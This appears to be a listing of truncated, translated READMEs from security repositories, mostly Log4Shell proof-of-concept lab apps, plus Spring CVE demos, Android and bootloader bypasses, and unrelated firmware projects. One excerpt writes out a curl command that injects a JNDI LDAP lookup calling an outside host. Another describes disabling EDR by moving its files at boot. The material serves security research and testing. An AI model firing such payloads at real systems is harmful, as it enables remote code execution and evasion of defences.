log4j-vulnerability

Log4Shell（CVE-2021-44228）是 Log4j 中的一个零日漏洞 Log4J 漏洞 发现日期： 2021年11月24日 修复日期： 2021年12月6日 攻击演示 点击下方观看YouTube视频 示例应用 该示例应用是一个Spring Boot应用，使用log4j作为日志框架，并在本地主机的8080端口上运行，同时设置了以下环境变量 观看视频说明： https://youtu.be/bb6pgWrm7tA 环境变量 key=jason.bourne;secret=Treadstone 攻击 POST...

log4shellpoc

CVE-2021-44228（Log4Shell）に対して脆弱なシンプルなSpring Bootアプリケーション このCVE-2021-44228（別名log4shell）の概念実証アプリケーションは、私のwriteupの一部です。完全なエクスプロイトの詳細については、writeupを参照してください。 手順 実行: docker run --rm -p 8080:8080 --name log4shell-poc-app ghcr.io/guerzon/log4shellpoc:latest または、ビルドして実行: docker build . -t log4shellpoc...

android-pentest-tool

Android 渗透测试工具 专为 Kali Linux 设计 javaFX + Spring boot + bash 脚本 一键完成所有常规步骤 更新 已发布 1.0 版本！ 构建 mvn clean package 运行 java -jar target/android-pentest-tool.jar 待办事项： 添加安装步骤 添加功能列表 更多截图 Bug 修复 添加自定义 Intent 发送器 添加打开 URL 的 Intent 截图 使用的工具 https://github.com/google/android-classyshark...

log4j2-exploit

Log4Shell CVE-2021-44228 概念验证 环境要求 Java JDK/JRE 8 或更高版本 curl exploitable 一个简单的 Spring Boot 应用程序，提供一个包含用户名和密码的登录页面。当通过 POST 提交到 / 时，它会记录用户名。应用程序并不需要记录用户提供的任何输入。启用使用了存在漏洞的 log4j2 版本的访问日志就足够了。 如何运行： cd exploitable ../mvnw -q spring-boot:run 默认情况下，它监听 8080 端口。如果在浏览器中访问...

android-hardware-attestation-demo

Android 硬件认证绕过 — 演示 本仓库是 Quarkslab 文章 的配套代码，该文章介绍 Android 硬件密钥认证（hardware Key Attestation），本仓库用于对其进行说明。 这是一个小型的端到端概念验证（proof of concept），展示了一种简单的绕过方式：已 root 手机上的分析人员通过将认证中继 到第二台干净设备，从而绕过后端的硬件认证检查。整个过程没有任何伪造。由未经修改的设备生成、且绑定到后端自身 nonce 的真实认证链，会被转发以替代已 root 设备被拒绝的认证链。 适用范围与伦理。 这是面向安全研究的教育材料。它使用明文...

ipxe

iPXE 网络启动加载器 iPXE 是领先的开源网络引导固件。它提供了完整的 PXE 实现，并增强了诸如以下功能： 通过 HTTP 或 HTTPS 从 Web 服务器启动， 从 iSCSI、FCoE 或 AoE SAN 启动， 使用脚本控制引导过程， 创建交互式表单和菜单。 您可以使用 iPXE 替换网络卡上的现有 PXE ROM，或者链加载到 iPXE 中以获得 iPXE 的功能，而无需重新刷写的麻烦。 iPXE 是免费的开源软件，根据 GNU GPL 许可证授权（部分内容采用与 GPL 兼容的许可证）。 您可以下载滚动发布二进制文件（从最新提交构建），或使用最新的稳定发布版。...

spring-boot-log4j-cve-2021-44228-docker-lab

Spring Boot Log4j - CVE-2021-44228 Log4Shell漏洞（CVE-2021-44228）本质上是一个相当简单的JNDI注入缺陷，但出现在一个非常糟糕的位置。Log4J在展开日志消息中的占位符（或间接作为格式化消息的参数）时，会执行JNDI lookup……更多内容请阅读 PSA: Log4Shell与JNDI注入的当前状态。 Docker 实验室设置 注意： 此Dockerfile最初来自 Log4Shell示例漏洞应用 CVE-2021-44228。它使用了Log4j 2.14.1（通过spring-boot-starter-log4j2...

Demo-Exploit-Jackson-RCE

Demo-Exploit-Jackson-RCE 基于项目 jackson-rce-via-spel，本项目作为一个示例Web应用程序，用于测试针对Jackson-databind漏洞的多种攻击向量（文件上传、表单）。 介绍 基于Angular7前端和spring-boot后端，可以测试不同的攻击向量，并对结果进行可视化和检查。 构建 构建并打包spring boot和angular7成一个可部署的war文件。 mvn package 运行 运行后会自动在浏览器中打开 http://localhost:4200。 backend/mvn spring-boot:run 截图...

log4shell-demo

Log4Shell CVE-2021-44228 に対して脆弱なシンプルなSpring Bootアプリケーション デフォルトのロギングフレームワークをlogbackからlog4j2に変更 アプリケーションは'User-Agent'ヘッダーをログに記録するため、curlと、例えば interactsh-service を使用して脆弱性をテストできます。 curl -A '$jndi:ldap://interactsh-url/a' http://target-service/ app.interactsh.com でDNSインタラクションが確認できるはずです。 Docker hub...

CVE-2024-22262

Spring CVE-2024-22262 概念验证 此仓库包含一个开发容器环境和正确版本的 Spring 应用程序，专门用于探索此 CVE。 设置说明 将此仓库克隆到你的机器上，并使用 Docker 和你喜欢的 IDE。 或者 在线使用 GitPod，地址为 https://gitpod.io/ 或者 使用 GitPod Desktop： 1. 下载 GitPod Desktop 并安装。 2. 点击“Projects”。 3. 点击“New Environment”。 4. 提供此仓库的 URL。 在你上面选择的开发环境中： 1. 运行应用程序： cd...

BareMetal-RAM-Dumper

BareMetal RAM Dumper ディスク/USBから起動し、システムのRAMを直接起動メディアにダンプするように設計されたシンプルなx86ベアメタルツールです。起動とディスク操作にBIOS割り込みを利用し、1MBバリア以上のメモリにアクセスするためにアンリアルモードに移行します。 背景: コールドブート攻撃 ❄️ このツールはもともとコールドブート攻撃...

secureboot_objects

セキュアブートオブジェクト このリポジトリは、Microsoftが推奨するセキュアブートオブジェクトを保持するために使用されます。 ドキュメントについては、Wikiをご覧ください！ バージョン管理 このリポジトリはセマンティックバージョニング .. に従っており、 これは、基礎となる変更の意味を伝えるバージョン管理スキームです。 バージョン構成要素 Major : ファームウェアのセキュアブートバージョン間での互換性のない変更を示します。 これは、ファームウェアまたは他のコンポーネントの更新が必要になる可能性がある重要な変更です。 （現在はバージョン1のみがあります。） Minor :...

SpringBootVulExploit

Spring Boot Vulnerability Exploit Check List Spring Boot 関連脆弱性学習資料、利用方法とテクニック集、ブラックボックスセキュリティ評価チェックリスト 声明 ⚠️ 本プロジェクトのすべての内容は、セキュリティ研究および許可されたテストのみを目的としており、関連する人物は、本プロジェクトの誤用および濫用によって生じた一切の損害に対して責任を負いません。 目录 Spring Boot Vulnerability Exploit Check List ゼロ：ルートとバージョン 0x01：ルート知識 0x02：バージョン知識...

kali-nethunter-installer

Kali NetHunter Installer 这个 Kali NetHunter 安装程序本质上只是一个由 build.py 根据此处包含的文件夹结构生成的 zip 文件。 请按照以下说明创建 Kali NetHunter 安装程序 zip。 你只需通过 Recovery/TWRP （或 Magisk ）刷入它，即可在设备上获得完整的 Kali NetHunter 环境和 chroot。 引导镜像修补脚本基于 AnyKernel3。 更多信息请参阅文档页面。 使用说明 准备环境 在构建任何内容 之前，你需要初始化内核仓库。 整个搭建过程已实现自动化。由于 Kali NetHunter...

initroot

initroot：摩托罗拉引导加载程序内核命令行注入安全启动与设备锁定绕过 CVE-2016-10277 作者：Roee Hay / Aleph Research, HCL Technologies 第一阶段漏洞利用：临时越狱 该漏洞利用可在设备上获得临时的无限制 root 访问权限。 例如，在 cedric 上（部分消息已移除以提高可读性）： $ cd ./tethered/cedric $ ./initroot-tethered.sh Welcome to initroot-cedric-tethered ... bootloader bootloader bootloader a...

CVE-2022-22965

Spring Boot CVE-2022-22965 Docker PoC for CVE-2022-22965 with Spring Boot version 2.6.5 🚀 Getting Started 1. Download the distribution code from https://github.com/itsecurityco/CVE-2022-22965/archive/refs/heads/master.zip and unzip it. 2. Run docker compose up --build to build and start the...

Crassus

Crassus Windows 権限昇格発見ツール クイックスタート 1. Process Monitor で、Enable Boot Logging オプションを選択します。 2. 再起動します。 3. ログインして Windows が落ち着いたら、もう一度 Process Monitor を実行します。 4. プロンプトが表示されたら、ブートログを保存します（例：raw.PML）。 5. Ctrl-R を使用して、デフォルトの Process Monitor フィルターをリセットします。 6. このログファイルを保存します（例：boot.PML）。 7. Crassus.exe...

incus-os

はじめに IncusOS は、Incus を実行するためのイミュータブルOSイメージです。 Debian 13 をベースにしており、mkosi を使用して構築されています。 IncusOS は、最新の amd64 x8664 および arm64 システムにインストールできます。 これは、Incus サーバーを非常に高速かつ安全で信頼性の高い方法で実行することを目的としています。 セキュリティに重点を置いており、ブートセキュリティとディスク暗号化のために UEFI Secure Boot と TPM 2.0 を積極的に利用しています。 IncusOS の使い方については、 こちら...

CVE-2021-44228

Log4Shell POC CVE-2021-44228 本仓库旨在提供利用 CVE-2021-44228（绰号 Log4Shell）所需的全部组件，并演示如何利用该漏洞。 利用此漏洞所需的要素如下： 1. 一个 LDAP 服务器 ，它将把存在漏洞的应用程序重定向到 exploit。 2. 一个使用存在漏洞的 Log4J 版本的存在漏洞的应用程序 （易受 CVE-2021-44228 影响的 Spring Boot Web 应用程序）。 3. 将被存在漏洞的应用程序加载的 Java Exploit.class （以及对应的 Exploit.java 文件）。 4. 一个 http 服务器...

MoveEdr

MoveEDR 如果你以管理员身份操作，可以强制 Windows 在启动后、服务启动之前立即删除或移动文件夹和文件。这可以用来禁用 EDR。 使用 !CAUTION 有一个与 CrowdStrike 相关的问题，会导致循环启动并显示消息 "INACCESSIBLEBOOTDEVICE"。 我的理论是，要么 CrowdStrike 本身，要么某个软件部署解决方案，试图安装缺失的 CrowdStrike 文件，但失败并使其处于损坏状态。 我不确定这是取决于移动后经过的时间，还是执行重启的次数。 第一次移动 CrowdStrike 并重启是正常的。 也许在第一次重启后安排撤消操作，以免出错。...